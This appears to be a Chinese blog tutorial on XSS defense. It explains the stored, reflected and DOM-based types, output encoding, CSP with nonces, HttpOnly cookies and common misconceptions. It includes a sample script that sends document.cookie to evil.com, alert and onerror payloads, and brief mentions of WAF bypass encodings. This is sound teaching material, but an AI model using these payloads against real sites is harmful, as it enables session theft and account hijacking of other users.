文章

XSS攻击与防御深度解析

存储型/反射型/DOM 型 XSS 实战攻防,CSP + 输出编码 + HttpOnly 三层防御。

XSS攻击与防御深度解析

一句话概括

XSS(Cross-Site Scripting)就是让攻击者把恶意脚本注入你的页面,在用户浏览器里执行——窃取 Cookie、劫持操作、钓鱼。防御三件套:输出编码(HTML/JS/URL 各自不同)、CSP(Content Security Policy)、HttpOnly Cookie。

核心知识点

1. 三种 XSS:从哪注入的?

存储型(Stored):攻击者把恶意脚本存入数据库(评论/用户资料),受害者每次浏览页面都自动执行。危害最大,影响所有访客。

1
2
3
<!-- 攻击者在评论里存了这段 -->
评论内容:<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
<!-- 每个访问评论列表的用户 Cookie 被偷 -->

反射型(Reflected):恶意脚本在 URL 参数里,服务端回显时未编码直接插入 HTML 返回。需诱导用户点击链接。

1
2
https://site.com/search?q=<script>alert(1)</script>
<!-- 搜索结果页直接回显 q 参数 → XSS -->

DOM 型:全程在浏览器端触发——JS 把 URL hash 或 localStorage 插入 DOM 时未转义。

1
2
3
// ❌ 危险:直接 innerHTML 不可信内容
document.getElementById('msg').innerHTML = location.hash.slice(1);
// 访问 https://site.com#<img src=x onerror=alert(1)> → XSS!

2. 输出编码:不同上下文用不同转义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// HTML 上下文 → 转义 < > " ' &
function escapeHTML(str) {
  return str.replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
}

// JS 上下文(把用户数据放进 <script> 里)→ 转义得更狠
// JSON.stringify 比手写转义安全——它自动处理换行/引号/反斜杠
const userData = JSON.stringify(untrustedInput); // 安全!

// URL 上下文 → encodeURIComponent
const safe = encodeURIComponent(userInput);

关键原则:用 textContent 而非 innerHTML,用 safe 属性的 API(如 React 的 JSX 自动转义),用 DOMPurify 清洗富文本。

3. CSP:浏览器级别的防火墙

1
2
<!-- HTTP 响应头(推荐,比 meta 标签更安全) -->
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'; img-src *; connect-src 'self' https://api.example.com
  • script-src 'self':只允许加载同源 JS,禁止内联 <script> 和 eval()
  • 'nonce-xxx':给合法内联脚本打上随机 nonce,变了就拒绝。每次请求 nonce 不同,攻击者猜不到
  • 'strict-dynamic':允许已信任脚本动态创建的脚本(如 webpack 的代码分割),但要确保加载链安全
  • report-uri / report-to:违规时上报到指定端点,做监控用
1
2
3
4
<!-- nonce 用法 -->
Content-Security-Policy: script-src 'nonce-r@nd0m'
<script nonce="r@nd0m">/* 这个能执行 */</script>
<script>/* 没有 nonce → 被 CSP 拦截! */</script>
1
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:JS 无法通过 document.cookie 读取,即使 XSS 成功也偷不走 session
  • Secure:仅 HTTPS 传输
  • SameSite=Strict:跨站请求不携带 Cookie,防 CSRF 也防部分 XSS 利用

5. 防御清单

  • ✅ 输出编码:HTML 用 textContent,URL 用 encodeURIComponent,富文本用 DOMPurify
  • ✅ CSP:script-src 'self' + nonce 或 hash,禁止 'unsafe-inline'
  • ✅ HttpOnly Cookie:session token 必须 HttpOnly
  • ✅ 避免危险 API:不用 eval()/new Function()/setTimeout(string)/innerHTML
  • ✅ 输入验证:白名单校验(只允许已知安全字符),而非黑名单(永远猜不全攻击向量)
  • ✅ X-Content-Type-Options: nosniff:禁止浏览器 MIME 嗅探,防止把纯文本当 HTML 执行

其实你每天都在用

  • React JSX:<div>{userInput}</div> 自动转义 HTML,天然防 XSS(除非用 dangerouslySetInnerHTML)
  • Vue 的 { { } }:自动文本插值,不会当成 HTML 解释
  • Chrome DevTools → Network → Response Headers:看 CSP 头是否配置
  • CSP Evaluator(Google 在线工具):检查你的 CSP 配置有没有漏洞
  • GitHub/B站/知乎的评论:都经过了 XSS 过滤,你提交 <script> 会被转义展示而不是执行

常见误解(FAQ)

❌ 误区一:”用 encodeURIComponent 就能防 XSS”

encodeURIComponent 只能安全地放进 URL 参数。把结果放进 HTML 属性或 JS 字符串照样可能被利用。不同上下文要不同编码——没有”万能转义函数”。

❌ 误区二:”CSP script-src 'self' 就够了”

'self' 允许所有同源的 JS,如果攻击者能把恶意 JS 上传到你的同源 CDN(JSONP 劫持、上传接口未校验),一样能执行。nonce + strict-dynamic 是更严厉的方案。

❌ 误区三:”有了 HttpOnly Cookie,XSS 就没危害了”

HttpOnly 防窃取 Cookie,但攻击者仍可在受害者浏览器中:发起 CSRF 修改账户信息、劫持表单提交、自动发帖、重定向到钓鱼页面、注入键盘记录器。XSS 的危害远超偷 Cookie。

❌ 误区四:”WAF(Web应用防火墙)能拦截所有 XSS”

WAF 用规则匹配,但绕过技巧层出不穷——编码变形(\x3c)、Unicode 变形、协议混淆(javascript&#58;)。WAF 是辅助,不能替代输出编码和 CSP。

一句话总结

XSS 的本质是”用户的输入被当成了代码执行”。防御公式 = 永远编码不可信内容 + CSP 限制可执行脚本来源 + HttpOnly 保护敏感凭证——三层缺一不可。

本文由作者按照 CC BY 4.0 进行授权